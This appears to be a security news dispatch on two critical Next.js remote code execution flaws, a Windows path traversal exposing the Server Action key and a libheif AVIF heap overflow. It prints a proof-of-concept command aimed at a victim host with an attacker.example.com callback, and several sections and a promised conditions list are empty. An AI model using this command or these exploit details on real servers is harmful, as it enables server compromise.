← News
/DISPATCH · 2026-08-29

Next.js: Two Critical Unauth RCEs — CVE-2026-75604 Windows Path Traversal and libheif AVIF Heap Overflow

Vercel emergency-released Next.js 15.5.24 and 16.3.3 on 25 August, fixing two unauthenticated remote code execution flaws. CVE-2026-75604 (CVSS 9.0) hits apps that use both Pages and App Router on a Windows filesystem. AVIF image optimization via libheif — GHSA-2xp9-vwfh-vxw4 (CVSS 4.0 9.5) — is an upstream heap buffer overflow introduced through sharp; RCE at image decode.

Incident Overview

Vercel shipped the August routine security update one day early on 25 August 2026, fixing two critical vulnerabilities in the Next.js framework that unauthenticated remote attackers can exploit for server-side code execution. CVE-2026-75604 is a Windows-deployment-only path traversal (CVSS 3.1 9.0): attackers read the `Server Action` encryption key, forge action-binding parameters, and execute arbitrary commands with no credentials. The other issue, GHSA-2xp9-vwfh-vxw4 (CVSS 4.0 9.5), sits deep in the dependency chain in the libheif image decoder. Special Alpha-plane handling writes ~16 KB past the buffer, triggering RCE in Next.js's AVIF optimization pipeline.

Both issues were disclosed within 24 hours via GitHub advisories by independent researchers evolutionstorm, B0RI, and Hacktron team members rootxharsh and KarimPwnz. QiAnXin CERT reproduced them domestically and published PoC runtime screenshots. No in-the-wild exploitation observed yet. Affected deployment volume is large — upgrade immediately.

Technical Details: CVE-2026-75604 Windows Path Traversal

CVE-2026-75604 is in scope only when all three conditions hold:

Next.js writes prerender artifacts to the on-disk filesystem cache during ISR (Incremental Static Regeneration) and App Router incremental cache. Cache-path handling does not correctly escape `\\` backslashes. An attacker only needs a request containing backslash traversal to read the Server Action encryption manifest on disk, forge Server Action binding parameters offline, then trigger arbitrary method execution via a network request. Linux and macOS are not affected.

Technical Details: AVIF / libheif Heap Buffer Overflow

Next.js does not enable AVIF optimization by default, but adding `images.formats: ['image/avif']` in `next.config.js` causes `sharp` → `libheif` to decode user-uploaded images. Researchers crafted a malicious AVIF with dual Alpha planes (`idat` and `auxC`): first layer 8-bit, second layer 16-bit. libheif allocates an 8-bit buffer for the scaler but writes as 16-bit; ~16 KB lands out of bounds. Public PoC achieves RCE on multiple deployments.

# PoC fragment (QiAnXin / Hacktron public)
python3 poc.py --target http://victim:3000 \
    --callback-ip attacker.example.com \
    --pages-cache-path /pages-cache/seed \
    --app-cache-path /app-cache/seed \
    --command "whoami & ver"

Impact Scope

Remediation

References